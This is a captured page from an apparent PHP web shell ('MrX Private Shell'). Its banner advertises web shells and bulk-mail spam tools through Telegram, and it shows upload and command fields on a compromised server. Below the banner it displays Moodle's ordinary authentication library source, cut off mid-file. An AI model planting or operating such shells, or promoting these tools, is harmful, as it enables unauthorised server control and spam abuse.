__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Multiple plugin authentication Support library
 *
 * 2006-08-28  File created, AUTH return values defined.
 *
 * @package    core
 * @subpackage auth
 * @copyright  1999 onwards Martin Dougiamas  http://dougiamas.com
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

defined('MOODLE_INTERNAL') || die();

/**
 * Returned when the login was successful.
 */
define('AUTH_OK',     0);

/**
 * Returned when the login was unsuccessful.
 */
define('AUTH_FAIL',   1);

/**
 * Returned when the login was denied (a reason for AUTH_FAIL).
 */
define('AUTH_DENIED', 2);

/**
 * Returned when some error occurred (a reason for AUTH_FAIL).
 */
define('AUTH_ERROR',  4);

/**
 * Authentication - error codes for user confirm
 */
define('AUTH_CONFIRM_FAIL', 0);
define('AUTH_CONFIRM_OK', 1);
define('AUTH_CONFIRM_ALREADY', 2);
define('AUTH_CONFIRM_ERROR', 3);

# MDL-14055
define('AUTH_REMOVEUSER_KEEP', 0);
define('AUTH_REMOVEUSER_SUSPEND', 1);
define('AUTH_REMOVEUSER_FULLDELETE', 2);

/** Login attempt successful. */
define('AUTH_LOGIN_OK', 0);

/** Can not login because user does not exist. */
define('AUTH_LOGIN_NOUSER', 1);

/** Can not login because user is suspended. */
define('AUTH_LOGIN_SUSPENDED', 2);

/** Can not login, most probably password did not match. */
define('AUTH_LOGIN_FAILED', 3);

/** Can not login because user is locked out. */
define('AUTH_LOGIN_LOCKOUT', 4);

/** Can not login becauser user is not authorised. */
define('AUTH_LOGIN_UNAUTHORISED', 5);

/** Can not login, failed reCaptcha challenge. */
define('AUTH_LOGIN_FAILED_RECAPTCHA', 6);

/**
 * Abstract authentication plugin.
 *
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @package moodlecore
 */
class auth_plugin_base {

    /**
     * The configuration details for the plugin.
     * @var object
     */
    var $config;

    /**
     * Authentication plugin type - the same as db field.
     * @var string
     */
    var $authtype;
    /*
     * The fields we can lock and update from/to external authentication backends
     * @var array
     */
    var $userfields = \core_user::AUTHSYNCFIELDS;

    /**
     * Moodle custom fields to sync with.
     * @var array()
     */
    var $customfields = null;

    /**
     * The tag we want to prepend to any error log messages.
     *
     * @var string
     */
    protected $errorlogtag = '';

    /** @var array Stores extra information available to the logged in event. */
    protected $extrauserinfo = [];

    /**
     * This is the primary method that is used by the authenticate_user_login()
     * function in moodlelib.php.
     *
     * This method should return a boolean indicating
     * whether or not the username and password authenticate successfully.
     *
     * Returns true if the username and password work and false if they are
     * wrong or don't exist.
     *
     * @param string $username The username (with system magic quotes)
     * @param string $password The password (with system magic quotes)
     *
     * @return bool Authentication success or failure.
     */
    function user_login($username, $password) {
        throw new \moodle_exception('mustbeoveride', 'debug', '', 'user_login()' );
    }

    /**
     * Returns true if this authentication plugin can change the users'
     * password.
     *
     * @return bool
     */
    function can_change_password() {
        //override if needed
        return false;
    }

    /**
     * Returns the URL for changing the users' passwords, or empty if the default
     * URL can be used.
     *
     * This method is used if can_change_password() returns true.
     * This method is called only when user is logged in, it may use global $USER.
     * If you are using a plugin config variable in this method, please make sure it is set before using it,
     * as this method can be called even if the plugin is disabled, in which case the config values won't be set.
     *
     * @return ?moodle_url url of the profile page or null if standard used
     */
    function change_password_url() {
        //override if needed
        return null;
    }

    /**
     * Returns true if this authentication plugin can edit the users'
     * profile.
     *
     * @return bool
     */
    function can_edit_profile() {
        //override if needed
        return true;
    }

    /**
     * Returns the URL for editing the users' profile, or empty if the default
     * URL can be used.
     *
     * This method is used if can_edit_profile() returns true.
     * This method is called only when user is logged in, it may use global $USER.
     *
     * @return ?moodle_url url of the profile page or null if standard used
     */
    function edit_profile_url() {
        //override if needed
        return null;
    }

    /**
     * Returns true if this authentication plugin is "internal".
     *
     * Internal plugins use password hashes from Moodle user table for authentication.
     *
     * @return bool
     */
    function is_internal() {
        //override if needed
        return true;
    }

    /**
     * Returns false if this plugin is enabled but not configured.
     *
     * @return bool
     */
    public function is_configured() {
        return false;
    }

    /**
     * Indicates if password hashes should be stored in local moodle database.
     * @return bool true means md5 password hash stored in user table, false means flag 'not_cached' stored there instead
     */
    function prevent_local_passwords() {
        return !$this->is_internal();
    }

    /**
     * Indicates if moodle should automatically update internal user
     * records with data from external sources using the information
     * from get_userinfo() method.
     *
     * @return bool true means automatically copy data from ext to user table
     */
    function is_synchronised_with_external() {
        return !$this->is_internal();
    }

    /**
     * Updates the user's password.
     *
     * In previous versions of Moodle, the function
     * auth_user_update_password accepted a username as the first parameter. The
     * revised function expects a user object.
     *
     * @param  object  $user        User table object
     * @param  string  $newpassword Plaintext password
     *
     * @return bool                  True on success
     */
    function user_update_password($user, $newpassword) {
        //override if needed
        return true;
    }

    /**
     * Called when the user record is updated.
     * Modifies user in external database. It takes olduser (before changes) and newuser (after changes)
     * compares information saved modified information to external db.
     *
     * @param mixed $olduser     Userobject before modifications    (without system magic quotes)
     * @param mixed $newuser     Userobject new modified userobject (without system magic quotes)
     * @return boolean true if updated or update ignored; false if error
     *
     */
    function user_update($olduser, $newuser) {
        //override if needed
        return true;
    }

    /**
     * User delete requested - internal user record is mared as deleted already, username not present anymore.
     *
     * Do any action in external database.
     *
     * @param object $user       Userobject before delete    (without system magic quotes)
     * @return void
     */
    function user_delete($olduser) {
        //override if needed
        return;
    }

    /**
     * Returns true if plugin allows resetting of internal password.
     *
     * @return bool
     */
    function can_reset_password() {
        //override if needed
        return false;
    }

    /**
     * Returns true if plugin allows resetting of internal password.
     *
     * @return bool
     */
    function can_signup() {
        //override if needed
        return false;
    }

    /**
     * Sign up a new user ready for confirmation.
     * Password is passed in plaintext.
     *
     * @param object $user new user object
     * @param boolean $notify print notice with link and terminate
     */
    function user_signup($user, $notify=true) {
        //override when can signup
        throw new \moodle_exception('mustbeoveride', 'debug', '', 'user_signup()' );
    }

    /**
     * Return a form to capture user details for account creation.
     * This is used in /login/signup.php.
     * @return moodleform A form which edits a record from the user table.
     */
    function signup_form() {
        global $CFG;

        require_once($CFG->dirroot.'/login/signup_form.php');
        return new login_signup_form(null, null, 'post', '', array('autocomplete'=>'on'));
    }

    /**
     * Returns true if plugin allows confirming of new users.
     *
     * @return bool
     */
    function can_confirm() {
        //override if needed
        return false;
    }

    /**
     * Confirm the new user as registered.
     *
     * @param string $username
     * @param string $confirmsecret
     */
    function user_confirm($username, $confirmsecret) {
        //override when can confirm
        throw new \moodle_exception('mustbeoveride', 'debug', '', 'user_confirm()' );
    }

    /**
     * Checks if user exists in external db
     *
     * @param string $username (with system magic quotes)
     * @return bool
     */
    function user_exists($username) {
        //override if needed
        return false;
    }

    /**
     * return number of days to user password expires
     *
     * If userpassword does not expire it should return 0. If password is already expired
     * it should return negative value.
     *
     * @param mixed $username username (with system magic quotes)
     * @return integer
     */
    function password_expire($username) {
        return 0;
    }
    /**
     * Sync roles for this user - usually creator
     *
     * @param $user object user object (without system magic quotes)
     */
    function sync_roles($user) {
        //override if needed
    }

    /**
     * Read user information from external database and returns it as array().
     * Function should return all information available. If you are saving
     * this information to moodle user-table you should honour synchronisation flags
     *
     * @param string $username username
     *
     * @return mixed array with no magic quotes or false on error
     */
    function get_userinfo($username) {
        //override if needed
        return array();
    }

    /**
     * Prints a form for configuring this authentication plugin.
     *
     * This function is called from admin/auth.php, and outputs a full page with
     * a form for configuring this plugin.
     *
     * @param object $config
     * @param object $err
     * @param array $user_fields
     * @deprecated since Moodle 3.3
     */
    function config_form($config, $err, $user_fields) {
        debugging('Use of config.html files have been deprecated, please update your code to use the admin settings API.');
        //override if needed
    }

    /**
     * A chance to validate form data, and last chance to
     * do stuff before it is inserted in config_plugin
     * @param object object with submitted configuration settings (without system magic quotes)
     * @param array $err array of error messages
     * @deprecated since Moodle 3.3
     */
     function validate_form($form, &$err) {
        debugging('Use of config.html files have been deprecated, please update your code to use the admin settings API.');
        //override if needed
    }

    /**
     * Processes and stores configuration data for this authentication plugin.
     *
     * @param object object with submitted configuration settings (without system magic quotes)
     * @deprecated since Moodle 3.3
     */
    function process_config($config) {
        debugging('Use of config.html files have been deprecated, please update your code to use the admin settings API.');
        //override if needed
        return true;
    }

    /**
     * Hook for overriding behaviour of login page.
     * This method is called from login/index.php page for all enabled auth plugins.
     *
     * @global object
     * @global object
     */
    function loginpage_hook() {
        global $frm;  // can be used to override submitted login form
        global $user; // can be used to replace authenticate_user_login()

        //override if needed
    }

    /**
     * Hook for overriding behaviour before going to the login page.
     *
     * This method is called from require_login from potentially any page for
     * all enabled auth plugins and gives each plugin a chance to redirect
     * directly to an external login page, or to instantly login a user where
     * possible.
     *
     * If an auth plugin implements this hook, it must not rely on ONLY this
     * hook in order to work, as there are many ways a user can browse directly
     * to the standard login page. As a general rule in this case you should
     * also implement the loginpage_hook as well.
     *
     */
    function pre_loginpage_hook() {
        // override if needed, eg by redirecting to an external login page
        // or logging in a user:
        // complete_user_login($user);
    }

    /**
     * Pre user_login hook.
     * This method is called from authenticate_user_login() right after the user
     * object is generated. This gives the auth plugins an option to make adjustments
     * before the verification process starts.
     *
     * @param object $user user object, later used for $USER
     */
    public function pre_user_login_hook(&$user) {
        // Override if needed.
    }

    /**
     * Post authentication hook.
     * This method is called from authenticate_user_login() for all enabled auth plugins.
     *
     * @param object $user user object, later used for $USER
     * @param string $username (with system magic quotes)
     * @param string $password plain text password (with system magic quotes)
     */
    function user_authenticated_hook(&$user, $username, $password) {
        //override if needed
    }

    /**
     * Pre logout hook.
     * This method is called from require_logout() for all enabled auth plugins,
     *
     * @global object
     */
    function prelogout_hook() {
        global $USER; // use $USER->auth to find the plugin used for login

        //override if needed
    }

    /**
     * Hook for overriding behaviour of logout page.
     * This method is called from login/logout.php page for all enabled auth plugins.
     *
     * @global object
     * @global string
     */
    function logoutpage_hook() {
        global $USER;     // use $USER->auth to find the plugin used for login
        global $redirect; // can be used to override redirect after logout

        //override if needed
    }

    /**
     * Hook called before timing out of database session.
     * This is useful for SSO and MNET.
     *
     * @param object $user
     * @param string $sid session id
     * @param int $timecreated start of session
     * @param int $timemodified user last seen
     * @return bool true means do not timeout session yet
     */
    function ignore_timeout_hook($user, $sid, $timecreated, $timemodified) {
        return false;
    }

    /**
     * Return the properly translated human-friendly title of this auth plugin
     *
     * @todo Document this function
     */
    function get_title() {
        return get_string('pluginname', "auth_{$this->authtype}");
    }

    /**
     * Get the auth description (from core or own auth lang files)
     *
     * @return string The description
     */
    function get_description() {
        $authdescription = get_string("auth_{$this->authtype}description", "auth_{$this->authtype}");
        return $authdescription;
    }

    /**
     * Returns whether or not the captcha element is enabled.
     *
     * @abstract Implement in child classes
     * @return bool
     */
    function is_captcha_enabled() {
        return false;
    }

    /**
     * Returns whether or not this authentication plugin can be manually set
     * for users, for example, when bulk uploading users.
     *
     * This should be overriden by authentication plugins where setting the
     * authentication method manually is allowed.
     *
     * @return bool
     * @since Moodle 2.6
     */
    function can_be_manually_set() {
        // Override if needed.
        return false;
    }

    /**
     * Returns a list of potential IdPs that this authentication plugin supports.
     *
     * This is used to provide links on the login page and the login block.
     *
     * The parameter $wantsurl is typically used by the plugin to implement a
     * return-url feature.
     *
     * The returned value is expected to be a list of associative arrays with
     * string keys:
     *
     * - url => (moodle_url|string) URL of the page to send the user to for authentication
     * - name => (string) Human readable name of the IdP
     * - iconurl => (moodle_url|string) URL of the icon representing the IdP (since Moodle 3.3)
     *
     * For legacy reasons, pre-3.3 plugins can provide the icon via the key:
     *
     * - icon => (pix_icon) Icon representing the IdP
     *
     * @param string $wantsurl The relative url fragment the user wants to get to.
     * @return array List of associative arrays with keys url, name, iconurl|icon
     */
    function loginpage_idp_list($wantsurl) {
        return array();
    }

    /**
     * Return custom user profile fields.
     *
     * @return array list of custom fields.
     */
    public function get_custom_user_profile_fields() {
        global $CFG;
        require_once($CFG->dirroot . '/user/profile/lib.php');

        // If already retrieved then return.
        if (!is_null($this->customfields)) {
            return $this->customfields;
        }

        $this->customfields = array();
        if ($proffields = profile_get_custom_fields()) {
            foreach ($proffields as $proffield) {
                $this->customfields[] = 'profile_field_'.$proffield->shortname;
            }
        }
        unset($proffields);

        return $this->customfields;
    }

    /**
     * Post logout hook.
     *
     * This method is used after moodle logout by auth classes to execute server logout.
     *
     * @param stdClass $user clone of USER object before the user session was terminated
     */
    public function postlogout_hook($user) {
    }

    /**
     * Update a local user record from an external source.
     * This is a lighter version of the one in moodlelib -- won't do
     * expensive ops such as enrolment.
     *
     * @param string $username username
     * @param array $updatekeys fields to update, false updates all fields.
     * @param bool $triggerevent set false if user_updated event should not be triggered.
     *             This will not affect user_password_updated event triggering.
     * @param bool $suspenduser Should the user be suspended?
     * @return stdClass|bool updated user record or false if there is no new info to update.
     */
    protected function update_user_record($username, $updatekeys = false, $triggerevent = false, $suspenduser = false) {
        global $CFG, $DB;

        require_once($CFG->dirroot.'/user/profile/lib.php');

        // Just in case check text case.
        $username = trim(core_text::strtolower($username));

        // Get the current user record.
        $user = $DB->get_record('user', array('username' => $username, 'mnethostid' => $CFG->mnet_localhost_id));
        if (empty($user)) { // Trouble.
            error_log($this->errorlogtag . get_string('auth_usernotexist', 'auth', $username));
            throw new \moodle_exception('auth_usernotexist', 'auth', '', $username);
            die;
        }

        // Protect the userid from being overwritten.
        $userid = $user->id;

        $needsupdate = false;

        if ($newinfo = $this->get_userinfo($username)) {
            $newinfo = truncate_userinfo($newinfo);

            if (empty($updatekeys)) { // All keys? this does not support removing values.
                $updatekeys = array_keys($newinfo);
            }

            if (!empty($updatekeys)) {
                $newuser = new stdClass();
                $newuser->id = $userid;
                // The cast to int is a workaround for MDL-53959.
                $newuser->suspended = (int) $suspenduser;
                // Load all custom fields.
                $profilefields = (array) profile_user_record($user->id, false);
                $newprofilefields = [];

                foreach ($updatekeys as $key) {
                    if (isset($newinfo[$key])) {
                        $value = $newinfo[$key];
                    } else {
                        $value = '';
                    }

                    if (!empty($this->config->{'field_updatelocal_' . $key})) {
                        if (preg_match('/^profile_field_(.*)$/', $key, $match)) {
                            // Custom field.
                            $field = $match[1];
                            $currentvalue = isset($profilefields[$field]) ? $profilefields[$field] : null;
                            $newprofilefields[$field] = $value;
                        } else {
                            // Standard field.
                            $currentvalue = isset($user->$key) ? $user->$key : null;
                            $newuser->$key = $value;
                        }

                        // Only update if it's changed.
                        if ($currentvalue !== $value) {
                            $needsupdate = true;
                        }
                    }
                }
            }

            if ($needsupdate) {
                user_update_user($newuser, false, $triggerevent);
                profile_save_custom_fields($newuser->id, $newprofilefields);
                return $DB->get_record('user', array('id' => $userid, 'deleted' => 0));
            }
        }

        return false;
    }

    /**
     * Return the list of enabled identity providers.
     *
     * Each identity provider data contains the keys url, name and iconurl (or
     * icon). See the documentation of {@link auth_plugin_base::loginpage_idp_list()}
     * for detailed description of the returned structure.
     *
     * @param array $authsequence site's auth sequence (list of auth plugins ordered)
     * @return array List of arrays describing the identity providers
     */
    public static function get_identity_providers($authsequence) {
        global $SESSION;

        $identityproviders = [];
        foreach ($authsequence as $authname) {
            $authplugin = get_auth_plugin($authname);
            $wantsurl = (isset($SESSION->wantsurl)) ? $SESSION->wantsurl : '';
            $identityproviders = array_merge($identityproviders, $authplugin->loginpage_idp_list($wantsurl));
        }
        return $identityproviders;
    }

    /**
     * Prepare a list of identity providers for output.
     *
     * @param array $identityproviders as returned by {@link self::get_identity_providers()}
     * @param renderer_base $output
     * @return array the identity providers ready for output
     */
    public static function prepare_identity_providers_for_output($identityproviders, renderer_base $output) {
        $data = [];
        foreach ($identityproviders as $idp) {
            if (!empty($idp['icon'])) {
                // Pre-3.3 auth plugins provide icon as a pix_icon instance. New auth plugins (since 3.3) provide iconurl.
                $idp['iconurl'] = $output->image_url($idp['icon']->pix, $idp['icon']->component);
            }
            if ($idp['iconurl'] instanceof moodle_url) {
                $idp['iconurl'] = $idp['iconurl']->out(false);
            }
            unset($idp['icon']);
            if ($idp['url'] instanceof moodle_url) {
                $idp['url'] = $idp['url']->out(false);
            }
            $data[] = $idp;
        }
        return $data;
    }

    /**
     * Returns information on how the specified user can change their password.
     *
     * @param stdClass $user A user object
     * @return string[] An array of strings with keys subject and message
     */
    public function get_password_change_info(stdClass $user): array {

        global $USER;

        $site = get_site();
        $systemcontext = context_system::instance();

        $data = new stdClass();
        $data->firstname = $user->firstname;
        $data->lastname  = $user->lastname;
        $data->username  = $user->username;
        $data->sitename  = format_string($site->fullname);
        $data->admin     = generate_email_signoff();

        // This is a workaround as change_password_url() is designed to allow
        // use of the $USER global. See MDL-66984.
        $olduser = $USER;
        $USER = $user;
        if ($this->can_change_password() and $this->change_password_url()) {
            // We have some external url for password changing.
            $data->link = $this->change_password_url()->out();
        } else {
            // No way to change password, sorry.
            $data->link = '';
        }
        $USER = $olduser;

        if (!empty($data->link) and has_capability('moodle/user:changeownpassword', $systemcontext, $user->id)) {
            $subject = get_string('emailpasswordchangeinfosubject', '', format_string($site->fullname));
            $message = get_string('emailpasswordchangeinfo', '', $data);
        } else {
            $subject = get_string('emailpasswordchangeinfosubject', '', format_string($site->fullname));
            $message = get_string('emailpasswordchangeinfofail', '', $data);
        }

        return [
            'subject' => $subject,
            'message' => $message
        ];
    }

    /**
     * Set extra user information.
     *
     * @param array $values Any Key value pair.
     * @return void
     */
    public function set_extrauserinfo(array $values): void {
        $this->extrauserinfo = $values;
    }

    /**
     * Returns extra user information.
     *
     * @return array An array of keys and values
     */
    public function get_extrauserinfo(): array {
        return $this->extrauserinfo;
    }

    /**
     * Returns the enabled auth plugins
     *
     * @return array of plugin classes
     */
    public static function get_enabled_auth_plugin_classes(): array {
        $plugins = [];
        $authsequence = get_enabled_auth_plugins();
        foreach ($authsequence as $authname) {
            $plugins[] = get_auth_plugin($authname);
        }
        return $plugins;
    }

    /**
     * Find an OS level admin Moodle user account
     *
     * Used when running CLI scripts. Only accounts which are
     * site admin will be accepted.
     *
     * @return null|stdClass Admin user record if found
     */
    public static function find_cli_admin_user(): ?stdClass {
        $plugins = static::get_enabled_auth_plugin_classes();
        foreach ($plugins as $authplugin) {
            $user = $authplugin->find_cli_user();
            // This MUST be a valid admin user.
            if (!empty($user) && is_siteadmin($user->id)) {
                return $user;
            }
        }
        return null;
    }

    /**
     * Find and login as an OS level admin Moodle user account
     *
     * Used for running CLI scripts which must be admin accounts.
     */
    public static function login_cli_admin_user(): void {
        $user = static::find_cli_admin_user();
        if (!empty($user)) {
            \core\session\manager::set_user($user);
        }
    }

    /**
     * Identify a Moodle account on the CLI
     *
     * For example a plugin might use posix_geteuid and posix_getpwuid
     * to find the username of the OS level user and then match that
     * against Moodle user accounts.
     *
     * @return null|stdClass User user record if found
     */
    public function find_cli_user(): ?stdClass {
        // Override if needed.
        return null;
    }
}

/**
 * Verify if user is locked out.
 *
 * @param stdClass $user
 * @return bool true if user locked out
 */
function login_is_lockedout($user) {
    global $CFG;

    if ($user->mnethostid != $CFG->mnet_localhost_id) {
        return false;
    }
    if (isguestuser($user)) {
        return false;
    }

    if (empty($CFG->lockoutthreshold)) {
        // Lockout not enabled.
        return false;
    }

    if (get_user_preferences('login_lockout_ignored', 0, $user)) {
        // This preference may be used for accounts that must not be locked out.
        return false;
    }

    $locked = get_user_preferences('login_lockout', 0, $user);
    if (!$locked) {
        return false;
    }

    if (empty($CFG->lockoutduration)) {
        // Locked out forever.
        return true;
    }

    if (time() - $locked < $CFG->lockoutduration) {
        return true;
    }

    login_unlock_account($user);

    return false;
}

/**
 * To be called after valid user login.
 * @param stdClass $user
 */
function login_attempt_valid($user) {
    global $CFG;

    // Note: user_loggedin event is triggered in complete_user_login().

    if ($user->mnethostid != $CFG->mnet_localhost_id) {
        return;
    }
    if (isguestuser($user)) {
        return;
    }

    // Always unlock here, there might be some race conditions or leftovers when switching threshold.
    login_unlock_account($user);
}

/**
 * To be called after failed user login.
 * @param stdClass $user
 * @throws moodle_exception
 */
function login_attempt_failed($user) {
    global $CFG;

    if ($user->mnethostid != $CFG->mnet_localhost_id) {
        return;
    }
    if (isguestuser($user)) {
        return;
    }

    // Force user preferences cache reload to ensure the most up-to-date login_failed_count is fetched.
    // This is perhaps overzealous but is the documented way of reloading the cache, as per the test method
    // 'test_check_user_preferences_loaded'.
    unset($user->preference);

    $resource = 'user:' . $user->id;
    $lockfactory = \core\lock\lock_config::get_lock_factory('core_failed_login_count_lock');

    // Get a new lock for the resource, waiting for it for a maximum of 10 seconds.
    if ($lock = $lockfactory->get_lock($resource, 10)) {
        try {
            $count = get_user_preferences('login_failed_count', 0, $user);
            $last = get_user_preferences('login_failed_last', 0, $user);
            $sincescuccess = get_user_preferences('login_failed_count_since_success', $count, $user);
            $sincescuccess = $sincescuccess + 1;
            set_user_preference('login_failed_count_since_success', $sincescuccess, $user);

            if (empty($CFG->lockoutthreshold)) {
                // No threshold means no lockout.
                // Always unlock here, there might be some race conditions or leftovers when switching threshold.
                login_unlock_account($user);
                $lock->release();
                return;
            }

            if (!empty($CFG->lockoutwindow) and time() - $last > $CFG->lockoutwindow) {
                $count = 0;
            }

            $count = $count + 1;

            set_user_preference('login_failed_count', $count, $user);
            set_user_preference('login_failed_last', time(), $user);

            if ($count >= $CFG->lockoutthreshold) {
                login_lock_account($user);
            }

            // Release locks when we're done.
            $lock->release();
        } catch (Exception $e) {
            // Always release the lock on a failure.
            $lock->release();
        }
    } else {
        // We did not get access to the resource in time, give up.
        throw new moodle_exception('locktimeout');
    }
}

/**
 * Lockout user and send notification email.
 *
 * @param stdClass $user
 */
function login_lock_account($user) {
    global $CFG;

    if ($user->mnethostid != $CFG->mnet_localhost_id) {
        return;
    }
    if (isguestuser($user)) {
        return;
    }

    if (get_user_preferences('login_lockout_ignored', 0, $user)) {
        // This user can not be locked out.
        return;
    }

    $alreadylockedout = get_user_preferences('login_lockout', 0, $user);

    set_user_preference('login_lockout', time(), $user);

    if ($alreadylockedout == 0) {
        $secret = random_string(15);
        set_user_preference('login_lockout_secret', $secret, $user);

        $oldforcelang = force_current_language($user->lang);

        $site = get_site();
        $supportuser = core_user::get_support_user();

        $data = new stdClass();
        $data->firstname = $user->firstname;
        $data->lastname  = $user->lastname;
        $data->username  = $user->username;
        $data->sitename  = format_string($site->fullname);
        $data->link      = $CFG->wwwroot.'/login/unlock_account.php?u='.$user->id.'&s='.$secret;
        $data->admin     = generate_email_signoff();

        $message = get_string('lockoutemailbody', 'admin', $data);
        $subject = get_string('lockoutemailsubject', 'admin', format_string($site->fullname));

        if ($message) {
            // Directly email rather than using the messaging system to ensure its not routed to a popup or jabber.
            email_to_user($user, $supportuser, $subject, $message);
        }

        force_current_language($oldforcelang);
    }
}

/**
 * Unlock user account and reset timers.
 *
 * @param stdClass $user
 * @param bool $notify Notify the user their account has been unlocked.
 */
function login_unlock_account($user, bool $notify = false) {
    global $SESSION;

    unset_user_preference('login_lockout', $user);
    unset_user_preference('login_failed_count', $user);
    unset_user_preference('login_failed_last', $user);

    if ($notify) {
        $SESSION->logininfomsg = get_string('accountunlocked', 'admin');
    }
    // Note: do not clear the lockout secret because user might click on the link repeatedly.
}

/**
 * Returns whether or not the captcha element is enabled, and the admin settings fulfil its requirements.
 * @return bool
 */
function signup_captcha_enabled() {
    global $CFG;
    $authplugin = get_auth_plugin($CFG->registerauth);
    return !empty($CFG->recaptchapublickey) && !empty($CFG->recaptchaprivatekey) && $authplugin->is_captcha_enabled();
}

/**
 * Returns whether the captcha element is enabled for the login form, and the admin settings fulfil its requirements.
 * @return bool
 */
function login_captcha_enabled(): bool {
    global $CFG;
    return !empty($CFG->recaptchapublickey) && !empty($CFG->recaptchaprivatekey) && $CFG->enableloginrecaptcha == true;
}

/**
 * Check the submitted captcha is valid or not.
 *
 * @param string|bool $captcha The value submitted in the login form that we are validating.
 *                             If false is passed for the captcha, this function will always return true.
 * @return boolean If the submitted captcha is valid.
 */
function validate_login_captcha(string|bool $captcha): bool {
    global $CFG;
    if (!empty($CFG->alternateloginurl)) {
        // An external login page cannot use the reCaptcha.
        return true;
    }
    if ($captcha === false) {
        // The authenticate_user_login() is a core function was extended to validate captcha.
        // For existing uses other than the login form it does not need to validate the captcha.
        // Example: login/change_password_form.php or login/token.php.
        return true;
    }

    require_once($CFG->libdir . '/recaptchalib_v2.php');
    $response = recaptcha_check_response(RECAPTCHA_VERIFY_URL, $CFG->recaptchaprivatekey, getremoteaddr(), $captcha);
    return $response['isvalid'];
}

/**
 * Validates the standard sign-up data (except recaptcha that is validated by the form element).
 *
 * @param  array $data  the sign-up data
 * @param  array $files files among the data
 * @return array list of errors, being the key the data element name and the value the error itself
 * @since Moodle 3.2
 */
function signup_validate_data($data, $files) {
    global $CFG, $DB;

    $errors = array();
    $authplugin = get_auth_plugin($CFG->registerauth);

    if ($DB->record_exists('user', array('username' => $data['username'], 'mnethostid' => $CFG->mnet_localhost_id))) {
        $errors['username'] = get_string('usernameexists');
    } else {
        // Check allowed characters.
        if ($data['username'] !== core_text::strtolower($data['username'])) {
            $errors['username'] = get_string('usernamelowercase');
        } else {
            if ($data['username'] !== core_user::clean_field($data['username'], 'username')) {
                $errors['username'] = get_string('invalidusername');
            }

        }
    }

    // Check if user exists in external db.
    // TODO: maybe we should check all enabled plugins instead.
    if ($authplugin->user_exists($data['username'])) {
        $errors['username'] = get_string('usernameexists');
    }

    if (! validate_email($data['email'])) {
        $errors['email'] = get_string('invalidemail');

    } else if (empty($CFG->allowaccountssameemail)) {
        // Emails in Moodle as case-insensitive and accents-sensitive. Such a combination can lead to very slow queries
        // on some DBs such as MySQL. So we first get the list of candidate users in a subselect via more effective
        // accent-insensitive query that can make use of the index and only then we search within that limited subset.
        $sql = "SELECT 'x'
                  FROM {user}
                 WHERE " . $DB->sql_equal('email', ':email1', false, true) . "
                   AND id IN (SELECT id
                                FROM {user}
                               WHERE " . $DB->sql_equal('email', ':email2', false, false) . "
                                 AND mnethostid = :mnethostid)";

        $params = array(
            'email1' => $data['email'],
            'email2' => $data['email'],
            'mnethostid' => $CFG->mnet_localhost_id,
        );

        // If there are other user(s) that already have the same email, show an error.
        if ($DB->record_exists_sql($sql, $params)) {
            $forgotpasswordurl = new moodle_url('/login/forgot_password.php');
            $forgotpasswordlink = html_writer::link($forgotpasswordurl, get_string('emailexistshintlink'));
            $errors['email'] = get_string('emailexists') . ' ' . get_string('emailexistssignuphint', 'moodle', $forgotpasswordlink);
        }
    }
    if (empty($data['email2'])) {
        $errors['email2'] = get_string('missingemail');

    } else if (core_text::strtolower($data['email2']) != core_text::strtolower($data['email'])) {
        $errors['email2'] = get_string('invalidemail');
    }
    if (!isset($errors['email'])) {
        if ($err = email_is_not_allowed($data['email'])) {
            $errors['email'] = $err;
        }
    }

    // Construct fake user object to check password policy against required information.
    $tempuser = new stdClass();
    // To prevent errors with check_password_policy(),
    // the temporary user and the guest must not share the same ID.
    $tempuser->id = (int)$CFG->siteguest + 1;
    $tempuser->username = $data['username'];
    $tempuser->firstname = $data['firstname'];
    $tempuser->lastname = $data['lastname'];
    $tempuser->email = $data['email'];

    $errmsg = '';
    if (!check_password_policy($data['password'], $errmsg, $tempuser)) {
        $errors['password'] = $errmsg;
    }

    // Validate customisable profile fields. (profile_validation expects an object as the parameter with userid set).
    $dataobject = (object)$data;
    $dataobject->id = 0;
    $errors += profile_validation($dataobject, $files);

    return $errors;
}

/**
 * Add the missing fields to a user that is going to be created
 *
 * @param  stdClass $user the new user object
 * @return stdClass the user filled
 * @since Moodle 3.2
 */
function signup_setup_new_user($user) {
    global $CFG;

    $user->confirmed   = 0;
    $user->lang        = current_language();
    $user->firstaccess = 0;
    $user->timecreated = time();
    $user->mnethostid  = $CFG->mnet_localhost_id;
    $user->secret      = random_string(15);
    $user->auth        = $CFG->registerauth;
    // Initialize alternate name fields to empty strings.
    $namefields = array_diff(\core_user\fields::get_name_fields(), useredit_get_required_name_fields());
    foreach ($namefields as $namefield) {
        $user->$namefield = '';
    }
    return $user;
}

/**
 * Check if user confirmation is enabled on this site and return the auth plugin handling registration if enabled.
 *
 * @return auth_plugin_base|false the current auth plugin handling user registration or false if registration not enabled
 * @since Moodle 3.2
 */
function signup_get_user_confirmation_authplugin() {
    global $CFG;

    if (empty($CFG->registerauth)) {
        return false;
    }
    $authplugin = get_auth_plugin($CFG->registerauth);

    if (!$authplugin->can_confirm()) {
        return false;
    }
    return $authplugin;
}

/**
 * Check if sign-up is enabled in the site. If is enabled, the function will return the authplugin instance.
 *
 * @return mixed false if sign-up is not enabled, the authplugin instance otherwise.
